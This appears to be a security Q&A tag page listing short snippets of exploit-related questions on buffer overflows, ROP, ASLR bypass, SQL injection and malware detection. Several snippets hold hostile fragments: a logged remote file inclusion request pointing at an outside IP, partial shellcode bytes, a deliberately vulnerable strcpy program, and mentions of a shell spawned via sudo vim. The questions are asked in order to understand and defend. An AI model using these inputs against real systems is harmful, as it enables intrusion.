The data, tools, and procedures which, when applied to a specific vulnerability, predictably violate the security design of a system.

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1answer
371 views

Examples for practicing reverse engineering/disassembly of win32 .executables

I remember back in the day, there used to be a website where users would post hackits in the form of win32 exes for users to crack. Usually the goal was to defeat some sort of DRM, such as a nag ...
6
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2answers
411 views

buffer overflow attack scripts

I saw various different scripts for a buffer overflow attack. Many of the scripts include lines that look like this: char code[] = "\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38" ...
20
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2answers
572 views

Aviation security - Lessons to learn from PlaneSploit

A somewhat related question has already been asked (What would one need to do in order to hijack a satellite?), only at a more abstract level. Now we have a presentation by Hugo Teso from n.runs AG ...
1
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1answer
106 views

Notification or report for security problem of unix systems? [duplicate]

I have unix systems(Solaris,Oracle,Redhat vs).I have to control all system for security problem,bugs,patch,vulnerabilities I'm looking for securty information for all security issue After that I'll ...
3
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1answer
219 views

Converting Negative Decimal to Hex

I came through a post on Offensive Security and while reading , the author stated that: At next SEH (when using a SE Handler address that starts with a null byte), we usually will put some code to ...
7
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3answers
697 views

Is this GET request an exploit attempt?

I've noticed a few requests like this to a Rails application I am maintaining: GET ...
-7
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1answer
523 views

What are the vulnerabilities on port 23? [closed]

I'm working on a pen-testing project and still in the beginning but I faced a switch with only 80 & 23 ports opened. How can I use these ports to attack that switch ?
6
votes
2answers
120 views

How does sensitive information leak assist in exploit development?

According to this bug report, the first vulnerability can leak sensitive information. But since it doesn't mention what information to leak, I guess it would be the stack? And how could this help in ...
3
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2answers
557 views

possible exploits through avahi daemon

It is always recommended to disable Avahi daemon, for security reasons, when not in use. So, by what ways it is possible to exploit a system which has avahi daemon service running? And how can we ...
4
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1answer
161 views

Securing a Site: Diversity over Simplicity?

This question was derived from my off-topic questioning here: Does Centralisation Decrease the Probability but Increase the Damage of Exploits? Like before, I suspect this may be overly abstract as a ...
2
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3answers
238 views

Is + as an alternative to %20 an attack vector?

I was reading a Q&A on enabling + characters in URLs for Sitecore CMS, and the answer states: ASPNET application does not allow using “+” from the security point of view e.g. preventing SQL or ...
0
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0answers
45 views

What Apache web server security pitfalls exist after a default installation? [duplicate]

Are there any crucial configuration changes that should be made to a fresh Apache web server install? If not, is the default installation of the web server relatively secure against exploits and DoS ...
1
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1answer
1k views

How to check if your computer has a backdoor installed on it? [closed]

Just some time ago I had this unusual popup from Malwarebytes Anti-Malware (MBAM): I did a quick Google of the IP address and found this thread where the OP is complaining of MBAM blocking ...
6
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1answer
375 views

How do I check the code of a Chrome extension to make sure it's not stealing my info?

I've been reading more and more about just how much access browser extensions can have to your data. This is a little unsettling, so I'm curious if there is a way to Vet these extensions and make sure ...
2
votes
1answer
152 views

Using X-actual-recipient to divert email

Has anyone noticed exploits involving the use of "X-Actual-Recipient" to covertly divert e-mail from an intended recipient to someone else? I have been told that only someone with root access on the ...
2
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1answer
798 views

Windows PE file and Malwares

Trying to understand how and why any virus, malware, worm and code injections are successful after all in a Windows Portable Executable format. I was going through the PE structure documentation, ...
0
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3answers
105 views

Can my web accesses be known by individuals?

Someone, I think it was on Charlie Rose, said that anybody who wants to can currently discover what websites have been visited by some person of interest. That assertion was possibly made as a way of ...
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1answer
180 views

ASLR Randomization and different regions [closed]

Essentially my question is, why ASLR doesn't randomize text, bss and data regions of the process? Also in the newer version of kernels (such as Linux kernel version 3.x) along with process base, ...
2
votes
2answers
190 views

Identify code being run on website

I do not normally deal with internet security problems but this one has got me interested. The issue is with a specific site, lets say example.com, and how it it visited. If the address is typed ...
6
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1answer
91 views

What are Non-linear/backward overwrites?

I read some slides from the Black Hat USA 2012 conference, and I stumbled across the term non-­linear/backward overwrite, mentioned on slide 5 of the Exploit Mitigation Improvements in Windows 8 by ...
8
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2answers
2k views

Exploiting PHP via GET params

To be clear, this is in the interest of ethical testing to secure an application on behalf of my work. Now that that's out of the way, here are the details: Un-sanitised GET params are used in a ...
6
votes
3answers
442 views

Security implications of an exploited router

So I completely understand that routers and local networks need to be kept locked down, etc. What real security threats can come about from an attacker who has remotely accessed (telnet or web gui) ...
3
votes
4answers
686 views

Strange android app … possibly a mass malware?

I started receiving on my android Samsung Galaxy note strange notifications in Mandarin (the language of the people of china). Once I click on the notification it opens my browser with a blank page ...
4
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2answers
294 views

Vulnerability testing without the use of exploits?

I was doing some testing on a server to see if it was vulnerable to a 0-day local exploit (the exploit was for gaining root privileges using a bug in the Linux kernel). There was no real information ...
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2answers
185 views

ROP Gadgets from executables?

I noticed that exploits which use Return Oriented Programming always find the gadgets in libraries. I wonder if it is possible to use gadgets from the executable (.exe) itself?
10
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2answers
259 views

How to protect against exploitation using a lapsed domain

Consider a domain that had been in active use for some time but is no longer desired — perhaps the company is out of business or a name change took place years ago, or whatever. The domain ...
3
votes
1answer
181 views

How to protect against exploitation of email addresses from an mistakenly expired domain?

I have a domain name that I have registered for a long time. Due to a combination of bad luck and oversight, the domain name expired and was rebought by somebody else. I am attempting to buy the ...
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1answer
123 views

Breaking into your own systems [closed]

So as security professionals, most are overly paranoid about external hackers, leaks, etc. I'm looking for ideas on how one would go about testing their own systems, without signs that they were ...
5
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1answer
2k views

.JPEG File upload shell via EXIF comments

I came across this advisory recently and I'm a bit confused by both exploits, but specifically the file upload vulnerability. I don't understand how to actually exploit this condition (or even why ...
7
votes
1answer
659 views

A practical .NET Remoting Architecture exploit

If you were to demonstrate a .NET Remoting Architecture vulnerability with a practical attack, which one would you choose? I've read J. Forshaw's white paper on Breaking .NET Through Serialization ...
4
votes
4answers
1k views

Database hardening techniques

So as I understand it database hardening is a process in which you remove the vulnerabilities that result from lax con-figuration options. This can sometimes compensate for exploitable vendor bugs. ...
3
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2answers
507 views

How can JavaScript be tampered with while viewing a web page?

I often hear about how client side JavaScript can't be relied on because it can easily be changed. How exactly can it be changed, what program would be used to modify the JavaScript before a page ...
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votes
6answers
4k views

Use PHP to check uploaded image file for malware?

I want my users to be able to upload a photo. Currently I am not checking the uploaded photo for problems of any kind, although I do limit the size to 32k. Is there any way for me to check uploaded ...
14
votes
3answers
2k views

What is the difference between Exploit and Payload?

In computer security, we know that weak points in software are called vulnerabilities (if related to security). And once the vulnerability is found, theoretically it requires a piece of code as proof ...
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0answers
511 views

Automatic router admin password change [closed]

I feel that this is definitely a hack of some sort and an interesting one. I am using a Beetel 450TC1 ADSL2+ modem router and here is what I face: * First, I disconnect the telephone line from the ...
4
votes
1answer
314 views

Exploited by newbie3viLc063s

My debian server got exploited by some scriptiekiddie who used Newbie3viLc063 http://pastebin.com/jma8JRG1 . Scriptkiddie uploaded logo_php.png to my server (My permissions sucked :s) and he did run ...
5
votes
2answers
557 views

Using 'sudo vim' to spawn a shell

I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using ...
16
votes
4answers
1k views

What is the easiest way to search massive, leaked databases for persons and personal information?

This may seem like a rather nefarious question, however, my motivations are quite the opposite-- I want to know how at risk I might be! A while ago a very MASSIVE database was leaked that contained ...
7
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2answers
7k views

SQL Injection: Drop All Tables

I used some vulnerability scanners to check a site of mine, and an instance of blind SQL injection was returned. However, when I try to exploit this vulnerability by entering the following into the ...
4
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3answers
420 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
1
vote
1answer
192 views

Following redirects from HTTPS to HTTP - Secure?

So I have an HTTP client which supports HTTPS. However, it doesn't follow the HTTP spec recommendation for redirects on POST(which is to ask the user before redirecting) This means, in theory, if you ...
4
votes
1answer
432 views

Is this fprintf statement potentially vulnerable?

Here's the statement: fprintf(stderr, "Some random string\n"). Is it okay not to have a format specifier, such as %s, even though the statement doesn't take any user input? Is it still potentially ...
1
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2answers
190 views

Is this Scenario Exploitable?

Here is the scenario: You get to overwrite 4 (consecutive) Bytes of a Userland Remote Process in Linux without Exploit Mitigation and without the ability to inject any Shellcode and you know the ...
1
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1answer
541 views

Can exploit vulnerability if program started with gdb, but segfaults if started without gdb

i'm currently trying to exploit a simple program called basic_vuln.c #include <stdio.h> int main(int argc, char** argv) { char buf[64]; strcpy(buf, argv[1]); } I'm using xubuntu ...
3
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3answers
247 views

Resources for building a network security curriculum

I am currently helping my teacher create a curriculum around IT Security because it isn't currently implemented. Some previous question had decent responses but I was wondering if there was more. My ...
1
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2answers
371 views

Spike in TCP port 5904 activity - what for?

There is an 'Internet Weather Report' on the Threat!Traq video blog by AT&T security researchers. In the March 14th broadcast, at around 31 minutes in, they mention an increase of scanning ...
2
votes
0answers
297 views

What is SPL exploit? [closed]

I recently worked on a web project that uses Javascript and PHP to load its content from flickr API. I kept on getting this image show up and disappear immediately during first 2 or 3 seconds of the ...
4
votes
1answer
429 views

ROP Exploitation on ARM

I was wondering about since, Ret2Libc attack doesn't works on ARM, and we have to rely on ROP for that. How different is ROP on ARM from the x86 architecture. Are there any tools, such as mona.py ...
22
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3answers
11k views

Stack Overflows - Defeating Canaries, ASLR, DEP, NX

To prevent buffer overflows, there are several protections available such as using Canary values, ASLR, DEP, NX. But, where there is a will, there is a way. I am researching on the various methods an ...
12
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2answers
1k views

Protecting cellphones from USB attacks (a.k.a. Juice Jacking)

We have several smartphone with encrypted data on them (BES, iPhone, Android) and want to prevent an unauthorized person from downloading information from the device via USB. The visual assumption ...